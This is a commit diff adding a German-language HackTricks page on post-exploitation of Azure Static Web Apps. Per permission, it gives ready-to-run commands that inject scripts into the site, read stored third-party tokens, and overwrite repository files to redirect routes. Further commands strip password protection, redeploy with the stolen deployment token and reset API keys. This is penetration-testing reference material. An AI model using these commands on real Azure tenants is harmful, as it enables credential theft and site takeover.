mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-17 07:11:47 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -0,0 +1,162 @@
|
||||
# Az - Static Web Apps Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Static Web Apps
|
||||
|
||||
Für weitere Informationen zu diesem Dienst siehe:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
Es ist möglich, eine statische Webseite so zu gestalten, dass beliebiger HTML-Code geladen wird, indem ein Snippet erstellt wird. Dies könnte es einem Angreifer ermöglichen, JS-Code in die Webanwendung einzuschleusen und sensible Informationen wie Anmeldeinformationen oder mnemonische Schlüssel (in Web3-Wallets) zu stehlen.
|
||||
|
||||
Der folgende Befehl erstellt ein Snippet, das immer von der Webanwendung geladen wird::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"name": "supersnippet",
|
||||
"location": "Body",
|
||||
"applicableEnvironmentsMode": "AllEnvironments",
|
||||
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
|
||||
"environments": [],
|
||||
"insertBottom": false
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Konfigurierte Drittanbieter-Anmeldeinformationen lesen
|
||||
|
||||
Wie im Abschnitt App Service erklärt:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Durch Ausführen des folgenden Befehls ist es möglich, die **Drittanbieter-Anmeldeinformationen** zu lesen, die im aktuellen Konto konfiguriert sind. Beachten Sie, dass Sie beispielsweise, wenn einige Github-Anmeldeinformationen in einem anderen Benutzer konfiguriert sind, nicht auf das Token eines anderen Benutzers zugreifen können.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
Dieser Befehl gibt Tokens für Github, Bitbucket, Dropbox und OneDrive zurück.
|
||||
|
||||
Hier sind einige Beispielbefehle, um die Tokens zu überprüfen:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Datei überschreiben - Routen, HTML, JS überschreiben...
|
||||
|
||||
Es ist möglich, eine **Datei im Github-Repo** der App über Azure zu **überschreiben**, indem man den **Github-Token** verwendet und eine Anfrage wie die folgende sendet, die den Pfad der zu überschreibenden Datei, den Inhalt der Datei und die Commit-Nachricht angibt.
|
||||
|
||||
Dies kann von Angreifern missbraucht werden, um im Grunde **den Inhalt der Webanwendung zu ändern**, um bösartige Inhalte bereitzustellen (Anmeldeinformationen, mnemonische Schlüssel stehlen...) oder einfach um **bestimmte Pfade** auf ihre eigenen Server umzuleiten, indem sie die Datei `staticwebapp.config.json` überschreiben.
|
||||
|
||||
> [!WARNING]
|
||||
> Beachten Sie, dass ein Angreifer, wenn er es schafft, das Github-Repo auf irgendeine Weise zu kompromittieren, die Datei auch direkt von Github überschreiben kann.
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commit": {
|
||||
"message": "Update static web app route configuration",
|
||||
"branchName": "main",
|
||||
"committer": {
|
||||
"name": "Azure App Service",
|
||||
"email": "donotreply@microsoft.com"
|
||||
},
|
||||
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
|
||||
"filePath": "staticwebapp.config.json",
|
||||
"message": "Update static web app route configuration",
|
||||
"repoName": "carlospolop/my-first-static-web-app",
|
||||
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
|
||||
},
|
||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
Mit dieser Berechtigung ist es möglich, das **Passwort** zu ändern, das eine statische Webanwendung schützt, oder sogar jede Umgebung zu entprotecten, indem man eine Anfrage wie die folgende sendet:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"password": "SuperPassword123.",
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "AllEnvironments"
|
||||
}
|
||||
}'
|
||||
|
||||
# Remove the need of a password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "SpecifiedEnvironments",
|
||||
"secretState": "None"
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
Diese Berechtigung ermöglicht es, den **API-Schlüssel-Bereitstellungstoken** für die statische App abzurufen.
|
||||
|
||||
Dieser Token ermöglicht die Bereitstellung der App.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
Dann könnten Sie, um eine App zu aktualisieren, den folgenden Befehl ausführen. Beachten Sie, dass dieser Befehl extrahiert wurde, um **zu überprüfen, wie Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) funktioniert**, da es der ist, den Azure standardmäßig verwendet. Daher könnten sich das Bild und die Parameter in Zukunft ändern.
|
||||
|
||||
1. Laden Sie das Repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) herunter (oder ein anderes Repo, das Sie bereitstellen möchten) und führen Sie `cd react-basic` aus.
|
||||
2. Ändern Sie den Code, den Sie bereitstellen möchten.
|
||||
3. Stellen Sie es bereit, indem Sie (denken Sie daran, das `<api-token>` zu ändern):
|
||||
```bash
|
||||
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
Mit dieser Berechtigung ist es möglich, **den Quellcode der statischen Webanwendung auf ein anderes Github-Repository zu ändern**, jedoch wird es nicht automatisch bereitgestellt, da dies normalerweise über eine Github Action mit dem Token erfolgen muss, das die Aktion autorisiert hat, da dieses Token nicht automatisch in den Github-Geheimnissen des Repos aktualisiert wird (es wird nur automatisch hinzugefügt, wenn die App erstellt wird).
|
||||
```bash
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
Mit dieser Berechtigung ist es möglich, **den API-Schlüssel der statischen Webanwendung zurückzusetzen**, was potenziell die Workflows, die die Anwendung automatisch bereitstellen, DoSing kann.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user